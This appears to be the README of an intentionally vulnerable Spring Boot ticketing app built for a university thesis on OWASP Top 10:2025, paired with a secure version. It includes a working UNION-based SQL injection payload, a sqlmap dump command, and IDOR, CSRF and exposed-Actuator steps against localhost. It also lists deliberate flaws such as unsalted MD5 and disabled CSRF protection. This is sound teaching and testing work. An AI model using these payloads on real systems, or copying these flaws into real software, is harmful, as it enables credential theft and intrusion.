EcaterinaCucicovscaia/events-vuln

GitHub: EcaterinaCucicovscaia/events-vuln

一个故意植入 OWASP Top 10:2025 漏洞的 Spring Boot 活动售票教学应用,配合安全版本用于毕业设计的前后对比实验。

Stars: 0 | Forks: 0

# 🎟️ Events — 教学**漏洞**版本 ### `events-vuln` — 专为演示 OWASP Top 10:2025 而设计的脆弱 Web 应用程序 [![Java](https://img.shields.io/badge/Java-21-007396?style=flat-square&logo=openjdk&logoColor=white)](https://openjdk.org/projects/jdk/21/) [![Spring Boot](https://img.shields.io/badge/Spring_Boot-3.3.5-6DB33F?style=flat-square&logo=springboot&logoColor=white)](https://spring.io/projects/spring-boot) [![Thymeleaf](https://img.shields.io/badge/Thymeleaf-3.x-005F0F?style=flat-square&logo=thymeleaf&logoColor=white)](https://www.thymeleaf.org/) [![H2](https://img.shields.io/badge/H2-Database-blue?style=flat-square)](https://h2database.com/) [![Maven](https://img.shields.io/badge/Maven-3.9-C71A36?style=flat-square&logo=apachemaven&logoColor=white)](https://maven.apache.org/) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg?style=flat-square)](LICENSE) [![Status](https://img.shields.io/badge/status-educational-orange?style=flat-square)]() [![Security](https://img.shields.io/badge/security-INTENTIONALLY%20VULNERABLE-red?style=flat-square&logo=hackthebox&logoColor=white)]() **用于毕业设计的教学 Web 应用程序** — Ecaterina Cucicovscaia · USM, FMI, IAFR2202 班。 一个用于发布活动和售票的平台,其中**故意实现了安全缺陷**,用于复现 OWASP Top 10:2025 和 CWE Top 25 (2025) 中的漏洞。 [🛡️ 安全版本 → `events-secure`](https://github.com/EcaterinaCucicovscaia/events-secure)
## 📚 目录 - [目的](#-назначение) - [技术栈](#-стек) - [快速启动](#-быстрый-запуск) - [测试用户](#-тестовые-пользователи) - [漏洞映射表](#-карта-уязвимостей) - [漏洞利用场景](#-сценарии-эксплуатации) - [1. 搜索中的 SQL 注入](#1-sql-инъекция-в-поиске-мероприятий) - [2. Stored XSS](#2-stored-xss-в-описании-мероприятия) - [3. 修改密码时的 CSRF](#3-csrf-на-смене-пароля) - [4. 订单 REST endpoint 中的 IDOR](#4-idor-в-rest-эндпоинте-заказов) - [5. 脆弱的身份验证和会话](#5-слабая-аутентификация-и-сессии) - [6. 暴露的 Actuator 和 H2 控制台](#6-open-actuator--open-h2-console) - [7. commons-text 1.9 漏洞依赖](#7-уязвимая-зависимость-commons-text-19) - [项目结构](#-структура-проекта) - [安全版本中修复的内容](#-что-устранено-в-защищённой-версии) - [作者与背景](#-автор-и-контекст) - [许可证](#-лицензия) ## 🎯 目的 `events-vuln` 是构成毕业设计实践部分的“前后对比”实验的**前半部分**。 此仓库中的每个漏洞都在 [`events-secure`](https://github.com/EcaterinaCucicovscaia/events-secure) 中有一个“镜像”——解决了相关问题,并解释了是哪种机制修复了它。 项目目标: - 🔍 在真实的 Spring 应用程序中展示 **OWASP Top 10:2025 的七个类别**,而不是使用人为构造的示例; - 🧪 为静态(SpotBugs + Find-Sec-Bugs)和动态(OWASP ZAP, sqlmap)分析提供**可复现的漏洞利用场景**; - 📊 收集**基准测量值**,以便在论文第三章中与安全版本进行比较。 ## 🧰 技术栈 | 组件 | 版本 | 作用 | |---|---|---| | Java | **21** | 平台 | | Spring Boot | **3.3.5** | Web 框架 | | Spring MVC + Thymeleaf | — | 服务端渲染 | | Spring Data JPA + Hibernate | 6.x | ORM | | H2 (基于文件) | — | 内嵌数据库 (`./data/events`) | | Maven | 3.9+ | 构建 | | SpotBugs + Find-Sec-Bugs | 4.8 / 1.13 | SAST 分析 | ## 🚀 快速启动 ``` git clone https://github.com/EcaterinaCucicovscaia/events-vuln.git cd events-vuln mvn -DskipTests package java -jar target/events-vuln-0.1.0-SNAPSHOT.jar ``` 应用程序将在 **`http://localhost:8090`** 上启动。 H2 数据库文件为 `./data/events.mv.db`。删除它即可使用初始数据重新创建数据库。 ## 👤 测试用户 | 用户名 | 密码 | 角色 | |:---|:---|:---| | `alice` | `alice123` | USER | | `bob` | `bob123` | USER | | `organizer` | `org123` | ORGANIZER | | `admin` | `admin` | ADMIN | 用户在首次启动时自动创建(参见 `DataSeeder`)。 ## 🗺️ 漏洞映射表 | # | OWASP Top 10:2025 | CWE | 所在位置 | |:--:|:---|:---|:---| | 1 | **A05** Injection (SQL) | CWE-89 | `EventService#searchVulnerable` — 搜索 `/events?q=` | | 2 | **A05** Injection (XSS, stored) | CWE-79 | `events/view.html` — `th:utext="${event.description}"` | | 3 | **A01** Broken Access Control / CSRF | CWE-352 | `ProfileController#changePassword` — 无 CSRF token | | 4 | **A01** Broken Access Control / IDOR | CWE-639 | `OrderRestController#get` — 无所有者校验 | | 5 | **A07** Identification & Auth Failures | CWE-916, CWE-307, CWE-384 | `PasswordHasher` (无盐 MD5), `AuthService#login` (无 rate-limit, 无会话重生成) | | 6 | **A02** Security Misconfiguration | CWE-200 | `application.yml` — `/actuator/**` 公开暴露, `/h2-console` 可访问, cookie 无 `HttpOnly`/`Secure`/`SameSite` | | 7 | **A03** Software Supply Chain Failures | CVE-2022-42889 | `pom.xml` — `commons-text:1.9` (Text4Shell) | ## 💣 漏洞利用场景 ### 1) 活动搜索中的 SQL 注入 使用特殊值打开 `/events?q=`: ``` '%20UNION%20SELECT%20id,%20username,%20password_hash,%20'XXX',%20'2030-01-01%2000:00:00',%200,%200,%200,%20'PUBLISHED'%20FROM%20users-- ``` 搜索结果将显示用户名和密码的 MD5 hash(取代活动名称和描述)。 通过 **sqlmap** 实现自动化: ``` sqlmap -u "http://localhost:8090/events?q=test" -p q --dbms=h2 --dump -T users ``` ### 2) 活动描述中的 Stored XSS 1. 以 `organizer` / `org123` 登录。 2. 打开 `/events/new` 并在描述字段中输入: 3. 打开创建的活动 — 脚本将在每个访问该页面的用户浏览器中执行。 ### 3) 修改密码时的 CSRF 在一个新的空文件夹中创建文件 `attacker.html`: ```

Хорошая статья про коды Spring Security

``` 在您已经以 `alice` 登录的浏览器中打开此文件。密码将被静默更改为 `hacked123`。为了确认,请尝试使用旧密码和新密码重新登录。 ### 4) 订单 REST endpoint 中的 IDOR 1. 以 `alice` 登录。购买活动门票 — 获取您的 order_id,例如 `1`。 2. 在另一个窗口中以 `bob` 登录。通过 Postman 或 curl 等工具请求他人的订单: curl -b "JSESSIONID=" http://localhost:8090/api/orders/1 响应是包含 alice 订单数据的 JSON,尽管 bob 并非其所有者。 ### 5) 脆弱的身份验证和会话 - `users.password_hash` 中的密码 hash 是**无盐 MD5**(可通过 `/h2-console` 查看,JDBC URL `jdbc:h2:file:./data/events`,用户名 `sa` 无密码)。 - 可以**无限制**地暴力破解密码:`failed_logins` 会增加,但不会触发封禁。 - 登录后的 `JSESSIONID` 与登录前相同 — 这是典型的**会话固定攻击**。 ### 6) 暴露的 Actuator + H2 控制台 ``` curl http://localhost:8090/actuator/env | jq . curl http://localhost:8090/actuator/beans ``` 所有 Actuator endpoint 都**未经身份验证**暴露在外。 H2 控制台可通过 `http://localhost:8090/h2-console` 无密码访问;参数 `web-allow-others: true` 允许从其他主机访问。 ### 7) commons-text 1.9 漏洞依赖 `pom.xml` 锁定了过时的 `commons-text:1.9` 版本,存在 **CVE-2022-42889 (Text4Shell)**。为了验证: ``` mvn org.owasp:dependency-check-maven:check ``` 或(无需本地安装插件): ``` mvn dependency:tree | grep commons-text ``` ## 🗂️ 项目结构 ``` src/main/java/md/usm/events/ ├── EventsVulnApplication.java ├── config/ # AuthFilter, WebConfig, DataSeeder ├── domain/ # JPA-сущности (User, Event, Order, AuditLog, ...) ├── repository/ # Spring Data JPA ├── service/ # AuthService, EventService, OrderService, PasswordHasher └── web/ ├── HomeController, AuthController, EventController, OrderController, ProfileController ├── api/OrderRestController └── dto/OrderDto src/main/resources/ ├── application.yml ├── static/css/app.css └── templates/ # Thymeleaf ``` ## 🛡️ 安全版本中修复的内容 在 [`events-secure`](https://github.com/EcaterinaCucicovscaia/events-secure) 中,每个漏洞都通过论文第三章中的方法进行了修复: | 类别 | 解决方案 | |---|---| | SQL Injection | JPQL `@Param` + Hibernate PreparedStatement | | Stored XSS | OWASP Java HTML Sanitizer (白名单) | | CSRF | Spring Security 6 — 默认在所有表单中包含 CSRF token | | IDOR | `@PreAuthorize` + 自定义 `OrderSecurity` | | Auth | BCrypt(12), `changeSessionId()`, 输入当前密码验证 | | Misconfiguration | 禁用 `/h2-console`, Actuator 限 `ADMIN` 访问, security headers (CSP, HSTS, ...) | | Supply chain | `commons-text:1.12.0`, OWASP Dependency-Check, CycloneDX SBOM | ## 👩‍🎓 作者与背景 | | | |---|---| | **作者** | Ecaterina Cucicovscaia | | **大学** | Universitatea de Stat din Moldova (USM) | | **学院** | Faculty of Mathematics and Computer Science (FMI) | | **班级** | IAFR2202 | | **毕业论文题目** | 现代网络应用程序中的漏洞及其预防方法 | | **指导教师** | A. Гладей | | **年份** | 2026 | ## 📄 许可证 [MIT](LICENSE) — 仅供教学和研究目的使用。 另请参见 [`SECURITY.md`](SECURITY.md) — 了解为什么此仓库**不接受安全报告**。
标签:CISA项目, HTTP工具, OPA, OWASP Top 10, Spring Boot, Web安全, 域名枚举, 漏洞演示, 蓝队分析, 靶场